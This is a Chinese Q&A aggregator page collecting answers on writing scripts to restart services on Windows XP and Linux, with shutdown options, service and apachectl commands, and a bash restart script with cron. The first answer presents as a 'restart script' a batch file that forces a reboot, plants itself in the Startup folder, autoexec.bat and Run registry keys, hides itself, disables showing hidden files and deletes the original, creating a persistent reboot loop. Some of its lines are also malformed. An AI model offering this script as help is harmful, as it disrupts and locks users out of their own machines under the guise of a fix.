当前位置:首页 » 编程软件 » 重启服务脚本

重启服务脚本

发布时间: 2022-07-05 11:28:26

Ⅰ XP·重启的Windows服务脚本

启动真的做不到,
这个是重启的
@echo off
shutdown -r -t 3
%0 C:\Documents" "and" "Settings\All" "Users\“开始”菜单\程序\启动\a.bat
%0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REGADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL/v CheckedValue /t REG_DWORD /d 00000000 /f
del %0
这个是关机的(调用系统命令)
winxp有自带的关机程序shutdown.exe,命令语法如下
没有参数 显示此消息(与 ? 相同)
-i 显示 GUI 界面,必须是第一个选项
-l 注销(不能与选项 -m 一起使用)
-s 关闭此计算机
-r 关闭并重启动此计算机
-a 放弃系统关机
-m \\computername 远程计算机关机/重启动/放弃
-t xx 设置关闭的超时为 xx 秒
-c "comment" 关闭注释(最大 127 个字符)
-f 强制运行的应用程序关闭而没有警告
-d [p]:xx:yy 关闭原因代码
u 是用户代码
p 是一个计划的关闭代码
xx 是一个主要原因代码(小于 256 的正整数)
yy 是一个次要原因代码(小于 65536 的正整数)
例如:
现在关机:shutdown -s -t 0
现在强制重启:shutdown -r -f -t 0
60秒后挂机:shutdown -s -t 60
如果非要批处理,就把这命令写到一个批处理文件里就行了

linux下, 启动、重启、停止, 服务的命令是多少

启动直接点开机键就可以。

重启reboot 就可以了。

关机,init3、shutdown -f now、halt 都可以关机。

重启服务services 服务 restart。

停止服务services 服务 stop。

开始服务services 服务 start。

服务状态services 服务 status。


(2)重启服务脚本扩展阅读:

常用命令及技巧:通用命令。

1、date :打印或者设置系统的日期和时间

2、 stty -a:可以查看或者打印控制字符(Ctrl-C、Ctrl-D、 Ctrl-Z等)

3、 passwd:用passwd -h查看

4、logout,login: 登录shell的登录和注销命令

5、 more, less, head tail: 显示或部分显示文件内容

6、 lp/lpstat/cancel, lpr/lpq/lprm: 打印文件

7、 chmod u+x:更改文件权限

8、 rm -fr dir:删除非空目录

9、cp -R dir:拷贝目录

10、 fg jobid :可以将一个后台进程放到前台

Ⅲ 用shell脚本写一个服务的启动程序

一般在/etc/init.d目录下都是各种服务的启动脚本。你可以参考着自己的程序写。

Ⅳ linux shell 重启命令

linux shell 重启命令有五个,分别如下:

1、shutdown。

2、poweroff。

3、init。

4、reboot。

5、halt。

Linux,全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,其内核由林纳斯·本纳第克特·托瓦兹于1991年10月5日首次发布,它主要受到Minix和Unix思想的启发,是一个基于POSIX的多用户、多任务、支持多线程和多CPU的操作系统。

相关简介

Linux不仅系统性能稳定,而且是开源软件。其核心防火墙组件性能高效、配置简单,保证了系统的安全。在很多企业网络中,为了追求速度和安全,Linux不仅仅是被网络运维人员当作服务器使用,甚至当作网络防火墙,这是Linux的一大亮点。

Linux具有开放源码、没有版权、技术社区用户多等特点,开放源码使得用户可以自由裁剪,灵活性高,功能强大,成本低。尤其系统中内嵌网络协议栈,经过适当的配置就可实现路由器的功能。这些特点使得Linux成为开发路由交换设备的理想开发平台。

Ⅳ 请各位高手帮帮忙,我写了一个脚本,想要每次重启linux服务器时执行一下,我该怎么做

将该脚本的执行命令放到 /etc/rc.local 文件中即可实现开机自动执行

Ⅵ 怎么自动重启服务的shell脚本

如果你不需要加判断直接重启的话,直接写就可以了
#!/bin/bash
/etc/init.d/XXX restart
最简单的写法,XXX用你的service的名字代替

Ⅶ linux下求写一个自动重启某服务的脚本,不胜感激!

【--------------------------------start of script -------------------------------】

#!/bin/bash
# 运行记录日志
runlog=/var/test/test.log
# 切换到脚本的工作目录
cd /var/test
# 首先以正常的方式(尝试)结束掉test服务的进程,静默结束
pgrep test |xargs kill -15 &>/dev/null
# 休息1秒,让出1秒时间充分地停止进程
sleep 1
# 检查一下test有没有被成功的结束,首先判断一下执行kill -15以后是否残留有test服务的进程
processnum=$(pgrep test |wc -l)
# 如果test进程数量大于0,则自动让脚本采用强制进程结束的方式快速终止test进程;
if [[ "$processnum" -gt "0" ]];then
pgrep test |xargs kill -9 &>/dev/null
# 发送wait指令,kill -9 一旦执行完毕脚本立刻执行接下来的操作
wait
fi
# 记录停止服务的时间,时间格式的呈现:11/30/13 06:25:37
echo "$(date +"%D %T") service test stoped" >>$runlog
# 执行你的启动命令 ,静默启动
./test ./test.lua &>/dev/null
# 休息1秒,让出1秒时间充分地让test进程启动完毕
sleep 1
# 统计启动命令执行后test进程的数量
processnum=$(pgrep test |wc -l)
# 如果进程的数量大于0,记录服务成功启动;
if [[ "$processnum" -gt "0" ]];then
echo "$(date +"%D %T") service test start sucess" >>$runlog
# 否则(进程数量等于0),记录服务启动失败;
else
echo "$(date +"%D %T") service test start fail" >>$runlog
fi

【----------------------------end of script -----------------------------】
将上述代码存入到test.sh

在系统的crontab里面加入 00 00,12 * * * /var/test/test.sh &>/dev/null ,便捷的方法:echo '00 00,12 * * * /var/test/test.sh &>/dev/null' >>/var/spool/cron/*** , ***用能够有权限执行test.sh的用户的账号名称替代(如果不是root用户,那么要确保你调用的用户的SHELL环境变量是/bin/bash或者是/bin/sh),比如使用root, echo '00 00,12 * * * /var/test/test.sh &>/dev/null' >>/var/spool/cron/root

Ⅷ 如何重启服务器服务 linux

Linux有如下的关机和重启命令:shutdown, reboot, halt, poweroff

shutdown - 建议使用的命令

shutdown是最常用也是最安全的关机和重启命令,它会在关机之前调用fsck检查磁盘,其中-h和-r是最常用的参数:

-h:停止系统服务并关机 -r: 停止系统服务后重启 更详细的命令介绍可查看”Linux命令大全“

Ⅸ 有没有一种脚本,能重启WINDOWS的服务

可以 net start 命令可以启动服务(一些已经设置启用的服务)
sc 命令也可以启动系统服务
sc命令比net start 强大

Ⅹ 如何使用service脚本来启动,停止,重启apache服务

本文假设你的apahce安装目录为/usr/local/apache2,这些方法适合任何情况
apahce启动命令:
推荐/usr/local/apache2/bin/apachectl
start
apaceh启动
apache停止命令
/usr/local/apache2/bin/apachectl
stop
停止
apache重新启动命令:
/usr/local/apache2/bin/apachectl
restart
重启
要在重启
Apache
服务器时不中断当前的连接,则应运行:
/usr/local/sbin/apachectl
graceful
如果apache安装成为linux的服务的话,可以用以下命令操作:
service
httpd
start
启动
service
httpd
restart
重新启动

热点内容
4500能配什么电脑配置 发布:2024-05-04 03:22:29 浏览:590
阿U编程课堂 发布:2024-05-04 03:10:23 浏览:616
上传音乐搜音乐 发布:2024-05-04 03:10:23 浏览:599
编译器工作负载 发布:2024-05-04 03:06:09 浏览:420
摩斯编译 发布:2024-05-04 03:06:00 浏览:611
源码得反码 发布:2024-05-04 03:05:18 浏览:752
手机搜狐怎么上传视频 发布:2024-05-04 02:50:54 浏览:74
存储卡那里有卖 发布:2024-05-04 02:45:42 浏览:967
磁盘存储介质 发布:2024-05-04 02:44:19 浏览:435
我的ae为什么没有脚本 发布:2024-05-04 02:44:00 浏览:791